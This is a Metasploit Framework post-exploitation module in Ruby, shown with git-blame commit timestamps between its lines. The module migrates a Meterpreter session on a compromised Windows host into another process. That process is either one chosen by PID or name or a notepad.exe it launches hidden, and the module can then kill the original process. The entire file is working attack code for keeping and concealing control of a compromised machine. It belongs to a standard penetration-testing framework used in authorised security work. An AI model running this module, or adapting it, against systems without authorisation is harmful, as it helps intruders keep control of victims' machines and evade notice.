2011-03-21 02:27:36 +00:00
|
|
|
##
|
|
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-03-21 02:27:36 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-11-06 22:02:26 +00:00
|
|
|
'Name' => 'Windows Manage Process Migration',
|
|
|
|
'Description' => %q{ This module will migrate a Meterpreter session from one process
|
|
|
|
to another. A given process PID to migrate to or the module can spawn one and
|
|
|
|
migrate to that newly spawned process.},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2011-11-06 22:02:26 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
2011-03-21 02:27:36 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2012-04-25 17:40:20 +00:00
|
|
|
OptBool.new( 'SPAWN',[ false,'Spawn process to migrate to. If name for process not given notepad.exe is used.', true]),
|
|
|
|
OptInt.new( 'PID', [false, 'PID of process to migrate to.']),
|
|
|
|
OptString.new( 'NAME', [false, 'Name of process to migrate to.']),
|
|
|
|
OptBool.new( 'KILL', [false, 'Kill original process for the session.', false])
|
2011-03-21 02:27:36 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Run Method for when run command is issued
|
|
|
|
def run
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
2011-10-07 00:22:27 +00:00
|
|
|
server = session.sys.process.open
|
|
|
|
original_pid = server.pid
|
2011-03-21 02:27:36 +00:00
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
|
|
|
|
|
|
|
target_pid = nil
|
2013-01-04 08:29:34 +00:00
|
|
|
|
2011-10-07 00:22:27 +00:00
|
|
|
if datastore['SPAWN']
|
|
|
|
print_status("Spawning notepad.exe process to migrate to")
|
|
|
|
target_pid = create_temp_proc
|
2012-11-28 17:18:32 +00:00
|
|
|
elsif datastore['PID'] != 0
|
2011-10-07 00:22:27 +00:00
|
|
|
target_pid = datastore['PID']
|
2012-04-25 17:40:20 +00:00
|
|
|
elsif datastore['NAME']
|
2012-11-28 17:18:32 +00:00
|
|
|
target_pid = session.sys.process[datastore['NAME']]
|
2012-04-25 17:40:20 +00:00
|
|
|
end
|
2012-04-26 07:38:29 +00:00
|
|
|
|
2012-04-25 17:40:20 +00:00
|
|
|
if not target_pid
|
|
|
|
print_error("Process or PID not found")
|
|
|
|
return
|
2011-10-07 00:22:27 +00:00
|
|
|
end
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2011-10-07 00:22:27 +00:00
|
|
|
begin
|
|
|
|
print_good("Migrating to #{target_pid}")
|
|
|
|
session.core.migrate(target_pid)
|
2011-10-12 00:01:25 +00:00
|
|
|
print_good("Successfully migrated to process #{target_pid}")
|
2011-10-07 00:22:27 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Could not migrate in to process.")
|
2012-04-05 17:25:57 +00:00
|
|
|
print_error("Exception: #{e.class} : #{e}")
|
2011-03-21 02:27:36 +00:00
|
|
|
end
|
|
|
|
|
2011-10-07 00:22:27 +00:00
|
|
|
if datastore['KILL']
|
|
|
|
print_status("Killing original process with PID #{original_pid}")
|
|
|
|
session.sys.process.kill(original_pid)
|
2011-10-07 00:31:28 +00:00
|
|
|
print_good("Successfully killed process with PID #{original_pid}")
|
2011-10-07 00:22:27 +00:00
|
|
|
end
|
|
|
|
end
|
2011-03-21 02:27:36 +00:00
|
|
|
|
2011-10-07 00:22:27 +00:00
|
|
|
# Creates a temp notepad.exe to migrate to depending the architecture.
|
|
|
|
def create_temp_proc()
|
|
|
|
windir = client.fs.file.expand_path("%windir%")
|
|
|
|
# Select path of executable to run depending the architecture
|
|
|
|
if sysinfo['Architecture'] =~ /x86/
|
|
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
|
|
|
else
|
|
|
|
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
|
|
|
end
|
|
|
|
# run hidden
|
|
|
|
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
return proc.pid
|
2011-03-21 02:27:36 +00:00
|
|
|
end
|
2011-10-12 00:01:25 +00:00
|
|
|
end
|